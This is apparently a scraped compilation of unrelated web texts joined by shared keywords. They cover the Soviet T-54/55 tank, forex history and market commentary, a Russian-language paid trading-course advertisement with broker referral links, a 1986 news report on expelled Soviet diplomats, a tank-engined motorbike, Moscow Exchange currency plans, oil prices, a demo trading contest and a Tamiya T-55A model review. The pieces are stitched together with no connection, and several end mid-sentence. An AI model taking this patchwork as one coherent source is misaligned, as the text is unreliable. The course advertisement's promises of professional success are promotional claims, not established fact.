The T-54 and T-55 tanks are a series of main battle tanks (according to some sources) although not recognised as an MBT by Soviet and Russian sources, instead classifying them as medium tanks (the very concept of "main battle tanks" was applied only to tanks beginning with T-64A, armed with 125-mm tank gun) that were designed in the Soviet Union. The first T-54 prototype appeared in March 1945, just as the Second World War ended. The T-54 entered full production in 1947 and became the main tank for armoured units of the Soviet Army, armies of the Warsaw Pact countries, and others. T-54s and T-55s were involved in many of the world's armed conflicts during the late 20th and early 21st centuries.


The T-54/55 series eventually became the most-produced tank in history. Estimated production numbers for the series range from 86,000 to 100,000. They were replaced by the T-62, T-64, T-72, T-80, and T-90 in the Soviet and Russian Armies, but remain in use by up to 50 other armies worldwide, some having received sophisticated retrofitting.


Soviet tanks never directly faced their NATO Cold War adversaries in Europe. However, the T-54/55's first appearance in the West in 1960 spurred the United States to develop the M60 Patton.


Info: T-55 Soviet Army, USSR


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Events That Have Affected Forex Throughout History


Among the many things that make Forex so interesting are the underlying themes that drive the market itself. When looking at it from a fundamental viewpoint, there are geopolitics, governments, societies, macroeconomics, and the behavior of numerous participants who vary greatly in objectives and approach. Throughout history, we have seen major events born from these themes that have greatly influenced the Forex trading environment. Here are some highlights from five impactful events.


The Bretton Woods Accord


The first major transformation, the Bretton Woods Accord, occurred toward the end of World War II. The United States, Great Britain, and France met at the United Nations Monetary and Financial Conference in Bretton Woods, NH to design a new global economic order. The location was chosen because at the time, the U. S. was the only country unscathed by war. Most of the major European countries were in shambles. In fact, WWII vaulted the U. S. dollar from a failed currency after the stock market crash of 1929 to benchmark currency by which most other international currencies were compared. The Bretton Woods Accord was established to create a stable environment by which global economies could restore themselves. It also established the pegging of currencies and the International Monetary Fund (IMF) in hopes of stabilizing the global economic situation. Though the Bretton Woods Accord lasted until 1971, it ultimately failed but did accomplish what its charter set out to do – to re-establish economic stability in Europe and Japan.


The Beginning of the Free-floating System


After the Bretton Woods Accord came the Smithsonian Agreement in December of 1971, which was similar but allowed for a greater fluctuation band for the currencies. In 1972, the European community tried to move away from its dependency on the dollar. The European Joint Float was then established by West Germany, France, Italy, the Netherlands, Belgium, and Luxemburg. Both agreements made mistakes similar to the Bretton Woods Accord and in 1973 collapsed. These failures resulted in an official switch to the free-floating system.


The Plaza Accord


It did not take long for traders to realize the potential for profit in this new world of currency trading. Even with government intervention, there still were strong degrees of fluctuation and where there is fluctuation, there is profit. This became clear a little over a decade after the collapse of Bretton Woods. The U. S. economy was booming but the dollar had risen too far, too fast. The weight of the U. S. dollar was crushing third-world nations under debt and closing American factories because they could not compete with foreign competitors. In 1985, the G-5, the most powerful economies in the world – U. S. Great Britain, France, West Germany, and Japan – sent representatives to what was supposed to be a secret meeting at the Plaza Hotel in New York City. News of the meeting leaked, forcing the G-5 to make a statement encouraging the appreciation of non-dollar currencies. This became known as the “Plaza Accord” and its reverberations caused a precipitous fall in the dollar.


Establishment of the Euro


After WWII, Europe forged many treaties designed to bring countries of the region closer together. None were more prolific than the 1992 treaty referred to as the Maastricht Treaty, named for the Dutch city where the conference was held. The treaty established the European Union (EU), the creation of the Euro currency, and put together a cohesive whole that included initiatives on foreign policy and security. The treaty has been amended several times but the formation of the Euro gave European banks and businesses the distinct benefit of removing exchange risk in an ever-globalized economy.


In the 1990s, the currency markets grew more sophisticated and faster than ever because money – and how people viewed and used it – was changing. A person sitting alone at home could find, with the click of a button, an accurate price that only a few years prior would have required an army of traders, brokers, and telephones. These advances in communication came during a time when former divisions gave way to capitalism and globalization (the fall of the Berlin Wall and the Soviet Union). For Forex, everything changed. Currencies that were previously shut off in totalitarian political systems could be traded. Emerging markets, such as those in Southeast Asia, flourished, attracting capital and currency speculation.


The history of Forex markets since 1944 presents a classic example of a free market in action. Competitive forces have created a marketplace with unparalleled liquidity. Spreads have fallen dramatically with increased online competition among trustworthy participants. Individuals trading large amounts now have access to the same electronic communications networks used by international banks and merchants.


--- Written by the DailyFX Research Team


DailyFX provides forex news and technical analysis on the trends that influence the global currency markets. Learn forex trading with a free practice account and trading charts from FXCM.


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The Latvian lats (plural: lati) is the currency used in Latvia. The lats was first introduced in 1922, replaced by the Soviet ruble after Latvia became part of the USSR and was reintroduced in 1993. The lats is one of the highest-valued currencies in the world. The government planned to replace the lats with the euro, but the plans were postponed. Latvia’s economy was severely hit by the crisis in 2008, but since recovered is one of the fastest-growing economies of the European Union. It was replaced by euro on January 1, 2014.


Latvian Lats News Archive


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1966 Worlds, EF, vcd, women, very good for age, english, 25 min.


1967 Europeans and 1968 USSR Nationals - Russian, 10 minutes, very good for age.


1968 Olympics, womens highlites, vcd, espn classics


1970 World Championships, women, vcd, very good for age, no commentary, 25 min.


1974 World Championships, Team. All Around highlights, documentary type video, Russian, 13 minutes.


1974 World Championships, EF, women, no commentary, 25 min.


1976 American Cup, good, 25 min.


1976 Olympics, AA, EF, women, no commentary, floor music and audience, 3 1/2 hrs.


1976 Olympics, Team, women, mix of USSR, DDR, USA, Romania, vcd HV.1976 USSR Display, women, vcd, 18min.


1977 USA vs Romania, features Nadia, women, good for age, english, 30 min.


1977 Champions All, women´s AA highlites, vcd, 22min.


1977 World Cup, women, fair+, s panish, 2hrs 47 min. Lisa Cawthorn 1978 R omanian Display, features Nadia, English, fair quality, 15 minutes.


1978 World Championships, All Around, English, fair quality, 55 minutes.


1978 World Championships, Team, AA, EF, women, fair + for age, spanish, AA english, 2hrs 30 min.


1978 Romanian Nationals, womens AA, english, fair +, vcd, also has the 1980 junior europeans


1978 Moscow News Russian Team - documentary type coverage of the girls preparing for the competition


1978 Chunichi Cup and 1979 Russian Team Exhibition, VCD, women, good, total 39 min.


1979 European Championships, highlites women, good for age, english, 30 min.


1979 World Cup, women - Comaneci, Johnson, Kim. good for age, japanesse coverage


1979 World Championships, Highlites women + Nadia feature, english, 1h


1979 World Championships, Team women, fair, japan coverage, 35 min


1979 Champions All, women, fair +. english, 32 min. features K. Johnson, N. Comaneci


1979 USSR Display, vcd, russian women exhibition in London


1979 Moscow News, vcd, womens AA, japanese coverage


Technical analysis EUR/USD, GBP/USD and AUD/USD 3 September 2013


The pair confirms the previous forecast: after some consolidation above 1.3200 the pair has resumed its attempts to cross the key support range between 1.3200-1.3150; the pair is now close to the lower limit at 1.3165/55. The indicators show a bearish sentiment, which may indicate a high probability of breaking the level of 1.3150. If the price consolidates below, this will indicate a completed reversal down and the price will soon reach the first targets at 1.3060/70 and 1.3000. Moreover, the price is expected to reach the levels of 1.2900/50 – 1.2850/00 – the “neck line” (green line) of the “head and shoulders” pattern, which can be seen on the Daily time frame.


The pair continued its rise and moved to the resistance at 1.5610/20, which was indicated as a key level; the price is now at around 1.5580/90. The indicators show a possible move up on this pair. However, to confirm this forecast, we should wait until the price consolidates above 1.5610/20. In this case, the pair will quickly reach the target at 1.5740/50. Should the pair break the support range of 1.5400 -1.5350/60, this will signal a reversal to a medium-term bearish trend.


The bears failed to push the trading below the support of 0.8950/40. The price reached the level of 0.8890, but the fundamental data on the RBA rate has made ​​some adjustments. The pair is now trading at 0.9020/30. The indicators have changed and now show the rise, which may signal a continued rise on the instrument. However, the trend change can be obvious after the pair rises above the resistance level of 0.9110/20, as mentioned before. Before this happens, the pair is expected to resume its bearish trend with the target at the support level of 0.8810-0.8780/70.


sobre el autor


Hello, my name is Arkady Nagiev and I’ve been working for Forex4you company since 2008. I received an economic education and worked in various sectors of former Soviet Union. After the dissolution of the USSR, I decided to engage in the banking sector. In 1994 I took "Banking" course in the Moscow International Financial and Banking School. After that, I worked in the banks of Turkmenistan and Ukraine. While working at the bank, I became interested in the foreign exchange market, which required additional knowledge and pushed me to study strategies and techniques for the analysis of foreign exchange instruments. At first, I thought that technical analysis would be enough, but I soon realized that I was wrong, and began to study fundamental analysis. I sincerely hope that my Forex reviews and financial analyses help our clients to gain a better understanding of the forex market. Good luck with your trading everyone!


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Обучение трейдингу на форекс. Курсы форекс онлайн. Стоимость обучения трейдеров.


Профессиональная работа на рынке форекс состоит из трёх навыков:


1. Алгоритм торговой системы, которая даёт Конкурентное преимущество.


2. Расчёт рисков до входа в сделку.


3. Дисциплина, а затем навык.


Перед тем, как принять решение об обучении forex, рекомендую ознакомиться с кратким содержанием моей книги "Синтез в техническом анализе", которая находится здесь.


Обучение трейдеров в дистанционной школе трейдеров "USSR-55" происходит на основе трендовой торговой системы форекс "USSR-55" и по индивидуальной двухнедельной программе VIP обучения. Алгоритм торговой системы и индивидуальный подход к обучению дают глубокое понимания скрытых механизмов рынка Форекс для определения точек входа, мониторинга и точек выхода, т. е. получения максимально возможной прибыли.


1.Основной форекс онлайн курс: обучение трейдингу и торговой системе "USSR-55"


Форма обучения - дистанционная, по Skype.


Форма оплаты – предварительная, по карте Сбербанка, Western Union или Webmoney.


Продолжительность курса – пять дней (5 занятий по 2 часа ) .


Идеология торговой системы USSR-55 состоит из двух фундаментальных основ и пяти элементов:


1. Поиск и определение конечных точек по EWA и разворотным моделям японских свечей.


2. Определение разворотных уровней по волновому анализу, индикаторам и зигзагу со сменой уровня.


К элементам относятся волны, свечи, зигзаг, объёмы, синхронность.


Работа ведётся по трём экранам.


Основное содержание и стратегия алгоритма торговой системы «USSR-55»


1. Стратегические основы торговой системы «USSR-55»


2. Синтез таймфреймов и 4 разделов технического анализа.


3. Психология успешной торговли.


1. Определение конечных точек тренда по EWA


2. Определение разворотных точек по Японским свечам


3. Определение разворотных уровней по Зигзагу.


1. Индикаторы торговой системы «USSR-55»: настройки и анализ.


2. Модели скользящих средних в торговой системе.


3. Объёмы и волатильность - основа принятия правильных решений


Алгоритм принятия решений:


1. Определение точки входа.


2. Мониторинг и удержание сделки.


3. Определение точки фиксации прибыли.


1. Отработка алгоритма торговой системы на разных инструментах по истории.


2. Алгоритм наработки навыка применения торговой системы «USSR-55» с использованием ручного тестера стратегий.


Пример тестирования торговой системы


Стратегия торговли форекс. Трендовая торговая система USSR-55


Рис.1. Точка входа по стратегии форекс USSR-55


Стоимость торговой системы, это стоимость информации, а не времени. Максимальная продолжительность 7.5. часа, минимальная зависит от уровня Вашей подготовки. т. е. если Вы освоите курс за три занятия, стоимость останется прежней.


(В стоимость полного курса входят алгоритм ТС"USSR-55" + шаблон настроек МетаТрейдер 4 со всеми индикаторами + 5-дневный курс обучения по Skype). В дальнейшем, ученики школы, открывшие счёт по одной из двух реферальных ссылок на сайте (Альпари), получают бесплатные консультации по вопросам торговой системы. Профессиональная торговля - это прежде всего навык, который нарабатывается самостоятельно и никто не сможет Вас этому научить в полной мере, кроме Вас. Необходимо перевести все знания на уровень автоматизма, т. е. на уровень безсознательного. Профессиональная торговля подобна вождению автомобиля: знания второстепенны, на первом месте стоит навык, который построен на нюансах собственного опыта, а не чужого. Основы навыка даются в последнем уроке, т. е. идёт проработка на ручном тестере стратегий, встроенном в МТ4.


Откройте счет в компании Альпари и получите бесплатный анализ ошибок.


Корпоративные клиенты –- условия, сроки и оплата оговариваются индивидуально, возможен выезд в г. г. Санкт-Петербург, Минск для очного обучения.


2.VIP о бучение по индивидуальной программе: обучение трейдингу от уровня начинающего к уровню профессионала.


Форма обучения - дистанционная, по Skype. Обучение трейдеров в Москве может проводиться очно.


Форма оплаты – предварительная, по карте Сбербанка, Western Union или Webmoney.


Продолжительность курса – две недели: (10 занятий по 2 часа ) . 5 занятий по углублённому курсу технического анализа и 5 занятий по торговой системе.


1. Основы Волновго анализа Эллиотта (EWA)


2. Определение конечных точек тренда по EWA


1. Определение разворотных точек.


2. Определение моделей продолжения тренда.


1. Определение уровней поддержки и сопротивления.


2. Уровни Фибоначчи для определения целевых точек завершения волн и уровней коррекции.


1. Дивергенция прямая и обратная (скрытая).


2. Зигзаг со сменой уровня.


Основное содержание и стратегия алгоритма торговой системы «USSR-55»


Стратегические основы торговой системы «USSR-55»


Синтез таймфреймов и 4 разделов технического анализа.


Психология успешной торговли.


Определение конечных точек тренда по EWA


Определение разворотных точек по Японским свечам


Определение разворотных уровней по Зигзагу.


Индикаторы торговой системы «USSR-55»: настройки и анализ.


Модели скользящих средних в торговой системе.


Объёмы и волатильность - основа принятия правильных решений


Алгоритм принятия решений:


Определение точки входа.


Мониторинг и удержание сделки.


Определение точки фиксации прибыли.


Отработка алгоритма торговой системы на разных инструментах по истории.


Алгоритм наработки навыка применения торговой системы «USSR-55» с использованием ручного тестера стратегий.


В стоимость курса входит базовый курс обучения техническому анализу по индивидуальной программе, полная торговая система "USSR-55" и практическое занятие по программе Forex Tester в МТ4, дающее возможность сравнительно быстро наработать навык открытия сделки, мониторинга и закрытия ордера. Программа обучения рассчитана на индивидуальный уровень трейдера, т. е. прорабатываются те элементы, которые необходимы конкретному трейдеру для освоения практических навыков торговли: графический анализ, индикаторный анализ, волновой анализ, свечной анализ и синтез таймфреймов. Основная задача - обучение стратегическому мышлению, т. е.умению видеть структуру рынка и тактическому мышлению, т. е. освоение алгоритма торговой системы, а также обучение основам формирования навыков торговли, т. е. умению принимать решения по точке входа и точке выхода. Профессиональная торговля - это прежде всего навык, который нарабатывается самостоятельно.


До сих пор человечество не придумало лучшей модели обучения, чем обучение у наставника. Это общепризнанная, проверенная веками практика. Обучение трейдеров не исключение.


Хотите подняться на ступеньку выше, - ищите наставника.


Мне есть что сказать и я помогу Вам избежать ошибок, которые отнимают уверенность и на которые уходят годы работы без наставника.


В результате обучения forex в мастер-классе, Вы сэкономите много месяцев и может быть несколько лет Вашей жизни, которые уходят на бессмысленное топтание на месте.


Несколько лет самостоятельной работы, год профессионального обучения трейдеров в брокерской компании первого уровня и обучение трейдеров в Высшей Школе Трейдера компании Альпари позволяют мне делать это профессионально и надежно .


Вы станете профессионалом! А профессионалы всегда успешны в своем деле.


На Вашем компьютере должна быть установлена торговая платформа MetaTrader4, желательно компании Альпари, для того, чтобы не было расхождения в индикаторах и цене. Вам будут высланы параметры настройки и индикаторы в приложении к ТС. К началу занятий в понедельник все настройки должны быть сделаны.


PD Если у Вас нет ещё счёта в Альпари, можете открыть его по моей реферальной ссылке на главной странице сайта в виде текста и в виде баннера Альпари справа вверху. В этом случае Вы получаете возможность бесплатных консультациий по ошибкам, на основании реальной торговли по этому счёту (достаточно открыть микросчёт на небольшую сумму и торговать 0.01 лотом).


Внимание. Стоимость торговой системы - это стоимость информации, а не времени, т. е. если Вы смогли освоить систему за три занятия вместо пяти, это не меняет её стоимость.


PD В интернете появились ресурсы, на которых предлагается торговая система «USSR-55» почти даром - за 75 $. Небольшие деньги, но по деньгам, собственно, и качество информации. Конечно, я в меру сил борюсь с этим, но с другой стороны, это признание, однако, даже такие деньги дарить аферистам неразумно: в торговой системе важен контекст, а его там нет, как нет и полной информации.


U. S. IS EXPELLING 55 IN LATEST REPRISAL ON SOVIET ENVOYS


Published: October 22, 1986


WASHINGTON, Oct. 21— The United States, in a surprise move, today ordered the expulsion of 55 Soviet diplomats by Nov. 1. The action was in retaliation for Moscow's ouster on Sunday of five American diplomats.


It was the largest number of Soviet diplomats ever expelled from the United States.


In Moscow, the Government press agency Tass termed the move ''another step aimed at worsening Soviet-American relations.'' Before the American announcement, Gennadi I. Gerasimov, the Foreign Ministry spokesman, said: ''If the U. S. side insists on a continuation of the game according to the tit-for-tat principle, all this may go on endlessly. It seems to us that it is time this whole affair be rounded off.''


U. S. Began the Expulsions


The American action affects personnel at the Soviet Embassy in Washington and the consulate general in San Francisco. It is the latest in a series of expulsions that began Sept. 17 when the United States ordered 25 members of the Soviet Mission to the United Nations to leave on the ground that they were intelligence agents.


American officials disclosed for the first time that the Soviet Union was warned last month that retaliation for the ouster of the 25 would result in a countermove in which the entire Soviet diplomatic presence in the United States would be sharply reduced.


Coming nine days after the Iceland meeting between President Reagan and Mikhail S. Gorbachev, the increase in expulsions raised questions about the effect on Soviet-American relations and prospects for a summit meeting in the United States. Not Discussed in Iceland


The two leaders had been expected to discuss the original expulsion of 25 Soviet diplomats accredited to the United Nations, and the Soviet threat of retaliation. However, with attention focused on arms control, the expulsion dispute did not came up.


Today a State Department official predicted a chill in relations and a further Soviet retaliation. But a State Department spokesman also expressed the hope that the damage to relations could be contained.


''We remain committed to pursuing the dialogue stemming from the Reykjavik meeting in all areas of our relationship,'' said Charles E. Redman, who had just been made the new State Department spokesman.


At a state dinner tonight for Chancellor Helmut Kohl of West Germany, Mr. Reagan said, ''We feel that they were connected with intelligence operations - the K. G.B. Besides, they had more than we did and we just leveled it out.'' The expulsion of 55 diplomats from the United States seems to be the second largest such expulsion from a Western country. In 1971, Britain expelled 105 Soviet personnel. In 1983, France expelled 47. In those incidents, the Soviet reaction was muted. It expelled 18 Britons, and took no action against France.


Last year, however, Britain expelled 25 Soviet personnel, and this led to retaliation in which 25 Britons were ordered to leave. When London followed by expelling six more, so did Moscow. At that stage, a truce was declared.


Today's expulsion order, announced by Mr. Redman, had two parts.


The first part, which had been anticipated, reacted specifically to the ouster of the five Americans from the Soviet Union. It ordered five Soviet diplomats - four at the embassy in Washington and one in San Francisco - to leave, in direct retaliation for the expulsion of four Americans from the Embassy in Moscow and one from the consulate in Leningrad. The names of the five Soviet diplomats were made public.


The second part, which was unexpected, ordered the expulsion of 50 additional Soviet personnel - 38 from the embassy and 12 from the consulate.


These 50, who were named in a note to the Soviet Union that was not made public, were expelled to establish ''strict equality in numbers'' between the American and Soviet diplomatic personnel. This had long been a goal of the Federal Bureau of Investigation.


''The problem of espionage is a big problem,'' Mr. Redman said, ''and an important one, but it is a separate problem. As I said, our plan is to go on with the dialogue, but at the same time, as you can see by this action, we will certainly do everything we can to prevent this country from being used as a haven for espionage.''


Since the Soviet Union traditionally uses its own nationals for service functions in diplomatic missions and the United States hires local nationals as drivers, janitors, receptionists and laborers, there has always been an imbalance. By agreement the Soviet Union was allowed up to 320 personnel. U. S. Seeking a Level of 251


As of today, Mr. Redman said, there were 301 Soviet personnel, 263 in the embassy in Washington and 38 in the San Francisco consulate. The cutback of 50 will bring the total to 251, equal to that of American diplomatic personnel in the Soviet Union - 225 in the embassy in Moscow and 26 in the consulate in Leningrad. The United States also has 200 Soviet nationals on its staff, while the Soviet Union is believed to have no more than 10 Americans.


Until today, the State Department hesitated to seek equality on the ground that this would touch off a Soviet retaliation. Instead the State Department favored bringing its level in the Soviet Union up to that of Soviet personnel in the United States.


Oleg M. Sokolov, the minister-counselor of the Soviet embassy, was informed of the American move this morning at the State Department by Thomas W. Simons Jr. Deputy Assistant Secretary of State for European and Canadian affairs.


On Monday, State Department and White House officials not directly involved in the issue said they were confident that the United States' response to the ouster of five American diplomats would be measured.


But according to various sources, President Reagan, in a meeting of his advisers on Monday, was persuaded by Attorney General Edwin L. Meese 3d to crack down by carrying out a previous threat to cut down the size of the Soviet official missions to the level of the American missions in the Soviet Union.


It could not be learned whether Secretary of State George P. Shultz had opposed the idea.


The five Soviet diplomats ousted in direct retaliation for the five Americans and publicly identified are Vasily Fedotov, Oleg Likhachev and Aleksandr Metelkin, embassy counselors; Nikolai N. Kokovin, an attach for science and technology, and Lev Zaitsev, a consul in San Francisco.


Photo of Charles E. Redman (AP)


Forex News


Forex


GBP/CHF back below 1.55


FXStreet (Mumbai) - The GBP/CHF pair trimmed gains to trade below 1.55 levels as the broad based sell-off in the CHF reportedly due to SNB™s invisible hand came to a halt.


Trades around 1.5490


The cross now sits around 1.5490 with high probability of a weekly gain. Moreover, the pair is just a few pips above its weekly opening rate of 1.5456, but a dull US session and an empty economic calendar provides a very little room for the pair to drop below 1.5456.


The pair hit a high of 1.5531 earlier today due to a broad based CHF sell-off rumpoured to be triggered by the SNB intervention. The upside was capped by the sell-off in the GBP/USD pair as well.


GBP/CHF Technical Levels


THe immediate resistance is seen at 1.5531 (daily high), above which gains could be extended to 1.5572 (Nov 19 high). On the other side, a break below 1.5448 (hourly 200-MA) would open doors for a test of hourly 100-MA at 1.5417.


to other news


Major stock indexes in the US notched their fifth straight week of gains.


The S&P was up by 0.43% at 2049.31 and is now up on the year as well as for the week by 1.34%. The Nasda


Analysts at TD Securities explained that the strength of the short-covering in WTI crude oil, particularly with another 10% of short interest over the last week, has been similar in magnitude to the early-20


James Bullard, president of the Federal Reserve Bank of St. Louis and a voting member of the FOMC said that it would be prudent to edge interest rate higher.


Speaking in Germany, he affirm


News by category


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Caveat: Majority of the forex brokers offer 1:100 leverage, and going by the 90/90/90 rule (90% of retail traders lose 90% of their capital within 90 days), there's a strong chance that you will lose more than you can make. I've seen people with negative $1000+ of balance after one single trade.


Now, since leverage works two ways, the amount of money you can earn is basically depending on your capital. You can take positions of 1 lot size for a mere $1000 of capital on a 1:100 leverage, which means a movement of a little over 1000pts will easily double your money.


READ THE CAVEAT 20X.


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World Record Bike powered by a T55 engine (15 Photos)


A group of enthusiasts headed by Tilo Niebel of the East German village of Zillah has shown his motorbike monster assembled by hand. Monster weighing nearly five tons and a length of five and a half meters, is equipped with an engine from the Soviet tanks T55 power of 800 hp. Officials from the Guinness World Book of Records recorded the weight of the motorcycle-4740 kilogram. Tilo Niebel made this bike, using shell Soviet car and the engine from a Russian tank T55 To control the giant biker need to learn to use the two-meter drive. The vehicle engine installed by Soviet tanks T-55 with capacity of 800 horsepower. The frame, springs, suspension – all the details collected from military scrap. Where did they get the engine from a Soviet tank, the makers say have refused, but said that it was new, 1986 model year. Fuente


theBRIGADE wants to show off your pictures from service Submit your Photos here


Moscow seeks to become forex hub, to boost yuan trading


* Moscow Exchange allows neighbours to trade on forex


* Russia to extend yuan settlements, introduce swaps


* Russia promotes rouble as regional reserve currency


By Maya Dyakina


MOSCOW, Feb 7 The Moscow Exchange said on Thursday it would allow banks from Russia's economic allies to trade forex on its platform as part of a wider Kremlin-backed drive to establish the rouble as a regional reserve currency.


Russia, a net creditor with half a trillion dollars in central bank reserves, has long eyed a greater role in world financial markets amid growing concerns over the stability of established reserve currencies like the dollar, euro or yen.


But transforming the rouble, which was not convertible in the Soviet era and was heavily devalued in the 1990s, into a credible reserve asset is a long-term project for Russia, which this year chairs the Group of 20 global economic forum.


The Moscow Exchange, which turns over $16 billion in forex deals daily, said on Thursday it would start settling transactions in the currencies of the members of the Eurasian Economic Union: Kazakhstan, Belarus, Kyrgyzstan and Tajikistan.


The news comes as the Moscow Exchange markets its own $500 million initial public offering of shares.


"This will contribute to a greater role of the rouble as a regional reserve currency," Igor Marich, head of money market operations at the Moscow Exchange, told reporters.


"People won't just come to trade the Belarusian rouble, they will trade the rouble against the dollar, at a venue with higher liquidity."


The Belarussian arm of Russia's biggest lender, Sberbank. will be the first non-resident bank admitted to trade forex on Moscow's bourse. Banks from Kazakhstan and Kyrgyzstan may follow, Marich said.


"We are interested above all in the Russian rouble, as it accounts for 64 percent of our foreign trade turnover and currency settlements, and of course, in dollars and euros," said Alla Doubenetskaya, deputy chairman of BPS Sberbank.


Liquidity on the Moscow Exchange is mostly confined to dollar/rouble - the dollar being traditionally the most important currency for Russia's export-focused economy, and that is not likely to change much in the near term, said Marich.


Russia's foreign trade with the Eurasian Economic Union totalled $55.8 billion in the first 11 months of 2012, or 7.3 percent of the total.


Russia started trading Chinese yuan against the rouble in 2010 and plans to launch trading pairs with the Swiss franc and sterling this year.


The Moscow Exchange plans to introduce swap operations and extend the settlement date on yuan transactions to 'tomorrow' in the first half of this year, in a move to boost trading volumes.


"Yuan will be on a par with dollar and euro in terms of trade facilities," Marich said, adding that yuan settlements in Moscow now total 1 percent of the overall turnover.


China, the world's No.2 economy, is a growing market for exports of Russian oil and metals and accounts for 10.5 percent of total foreign trade turnover. (Reporting by Maya Dyakina; Editing by Douglas Busvine and Stephen Nisbet)


Forex News


Forex


GBP/CHF back below 1.55


FXStreet (Mumbai) - The GBP/CHF pair trimmed gains to trade below 1.55 levels as the broad based sell-off in the CHF reportedly due to SNB™s invisible hand came to a halt.


Trades around 1.5490


The cross now sits around 1.5490 with high probability of a weekly gain. Moreover, the pair is just a few pips above its weekly opening rate of 1.5456, but a dull US session and an empty economic calendar provides a very little room for the pair to drop below 1.5456.


The pair hit a high of 1.5531 earlier today due to a broad based CHF sell-off rumpoured to be triggered by the SNB intervention. The upside was capped by the sell-off in the GBP/USD pair as well.


GBP/CHF Technical Levels


THe immediate resistance is seen at 1.5531 (daily high), above which gains could be extended to 1.5572 (Nov 19 high). On the other side, a break below 1.5448 (hourly 200-MA) would open doors for a test of hourly 100-MA at 1.5417.


to other news


Major stock indexes in the US notched their fifth straight week of gains.


The S&P was up by 0.43% at 2049.31 and is now up on the year as well as for the week by 1.34%. The Nasda


Analysts at TD Securities explained that the strength of the short-covering in WTI crude oil, particularly with another 10% of short interest over the last week, has been similar in magnitude to the early-20


James Bullard, president of the Federal Reserve Bank of St. Louis and a voting member of the FOMC said that it would be prudent to edge interest rate higher.


Speaking in Germany, he affirm


News by category


Todos los derechos reservados. 2012 - 2015 ©


TenkoFX Limited 55 Southern Foreshore, Belize, C. A.


Drop us an E-mail or leave your feedback


Russia and Iran Increase Oil Production As Prices Tumble


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Russia and Iran Increase Oil Production As Prices Tumble


Just a few months ago it was almost unthinkable that oil would trade below the $100 price level. Crude oil was forecast to trade at $93 for 2014 but all that changed in just one day as the OPEC meeting on November 27 th decided to continue with current quotas allowing the world to float in oil. Although the actual quotas were not the problem, it can best be described as market share as the US and smaller producers added to their production abilities. With the easing of sanctions and embargoes against the Iran more and more oil hit the market place. Iraq has been steadily increasing its production along with Russia. Crude oil fell to a hair above the $50 price on Monday and is trading this morning at 50.28. Brent oil added 46 cents to trade at 53.47.


Oil prices sank to more-than-five-year lows overnight on fresh signs that supply will outstrip demand in the coming months. US oil prices briefly fell below $50 a barrel for the first time since April 2009, and Brent, the global benchmark, crashed through the $55-a-barrel mark.


Ample oil production, particularly in the US, and tepid demand growth have sent oil prices plunging in recent months. Consumers are reaping the benefits, while oil-exporting nations are struggling to balance their fiscal budgets and oil companies are seeing their stock prices slump. Production has showed no sign of slowing despite spending cutbacks by many oil companies. Prices slid Friday on reports that Russian oil output hit post-Soviet records and Iraqi oil exports were at their highest since the 1980s. Russia's oil output hit a post-Soviet high last year, averaging 10.58 million barrels per day (bpd), up 0.7 percent thanks to small non-state producers, Energy Ministry data showed. Iraq's oil exports were at their highest since 1980 in December, an oil ministry spokesman said, with record sales from the country's southern terminals.


The Russian and Iraqi data overshadowed reports of drops in Libya's oil output because of conflict in that country. Libya's oil output has fallen to around 380,000 bpd after the closure of the OPEC producer's biggest oil port, Es Sider, along with another oil port, Ras Lanuf.


Amid the global recession in 2009, US and Brent prices dropped below $US40 a barrel as demand shrank. This price plunge is different, analysts say, because it is more driven by unexpected supply growth than by a sharp drop in demand.


Warmer temperatures along with a strong US dollar are sending natural gas and heating oil lower. Natural gas is trading at 2.941 up by 28 points after falling to a low near 2.75 cents. Heating oil is trading at 1.7588 gaining a bit this morning as Asian traders are buying up the cheap commodities.


gasoline /">Gasoline continues to trade near lows as over 40% of US gasoline stations are reporting that gas is selling below $2.00 benefiting US consumers.


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"Forex" Demo Contest


Broker: FxCompany Other FxCompany bonuses (-1) Duration: Every 4 weeks Status: Removed Type: Demo Contests


To participate in this demo contest you have to open a free $10,000 demo account with 1:25 leverage and register it for the contest. Trading is performed during 4 weeks. The places are distributed on the total profit by all closed positions (the position should close with no less than 10 pips profit or loss to be counted). The 1 st place gets $500, the 2 nd — $250 and the 3 rd — $ 100. The prizes are transferred to the real trading account registered with FxCompany and can only be used for trading.


You open a free demo account with FxCompany with $10,000 virtual money and 1:25 leverage. You register for the contest and then trade during 4 weeks on this demo account. Your resulting total profit by the end of the contest is $4,560.78, which qualifies you for the 2 nd place in the contest. Your prize of $250 is transferred to the real trading account at FxCompany and you can then use this account to earn real profit.


Only the following currency pairs can be used to trade in this contest: EURUSD, GBPUSD, EURAUD, EURCHF, EURJPY, GBPCHF, GBPCAD, GBPAUD, USDCAD, USDCHF, USDJPY, AUDUSD and NZDUSD. Profit in other instruments can reach no more than 10% of the initial deposit;


Use of the expert advisors is prohibited;


Maximum number of simultaneously open orders is 10;


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It’s been a long time since the announcement of a new armour model has generated such anticipation amongst modellers as this T-55A kit from Tamiya.


Other manufacturers have released kits of the T-55 to mixed reviews. Well, lets be honest, mostly crap reviews. I myself have a few Esci kits and actually paid money for the Skif kit, yes, well; and have numerous resin update sets issued by various companies to try and make something of the kits offered to date. I didn’t get any of the Trumpeter T-55 kits as I had heard rumblings of this kit from Tamiya so I decided to wait before spending more hard earned on the T-55 hunt.


Well the kit is here, so is all the anticipation worth the hype, let’s have a look at what’s in the box and then decide?


The kit comprises 275 parts moulded in Tamiya's customary dark olive green plastic, a small decal sheet, a small sheet of mesh, a length of twine for the tow ropes and the usual array of poly caps for the wheels plus the usual excellent instruction booklet with clear construction drawings.


The standard of moulding is all we have come to expect from Tamiya - superbly fine details with excellent surface texture especially on the turret with a subtle cast effect and nice weld seams and other details moulded on. Some of the smaller parts are exceptionally fine and will require care when removing from the sprues and in handling.


Click the thumbnails below to view larger images:


The lower hull is the usual tub with the outer front and rear plates as separate parts to ensure good definition of the rear hull plate details and dozer/mine plough mountings on the lower front plate.


All the axles are separate parts to allow articulation if you wish but are glued in place, these’s none of the working bits as on the M26, the starfish road wheels look to have spot on details along with thick rubber tyres, these and the drive sprockets, idler wheels have the usual poly cap trapped between them for easy fitting to the axles. The four rear fuel tank supports are also added to the rear plate and feature superb details moulded on.


The upper hull is in one piece with again superb details included such as the openings between the engine intake louvers being cleanly moulded open and nice weld seam, front fender hinges and rear mud flaps with nice thin edges, everything else on the hull top is separate parts.


All storage boxes are multi part for good definition and the front headlight bush guard assembly is correctly depicted as a separate wire ‘cage’ welded to the front plate and not inserted into holes in the plate as done on many other Russian kits. (see Tamiya’s T-62).


The separate driver’s hatch also has an alternate piece to add for the radiation padding fitted to later T-55s.


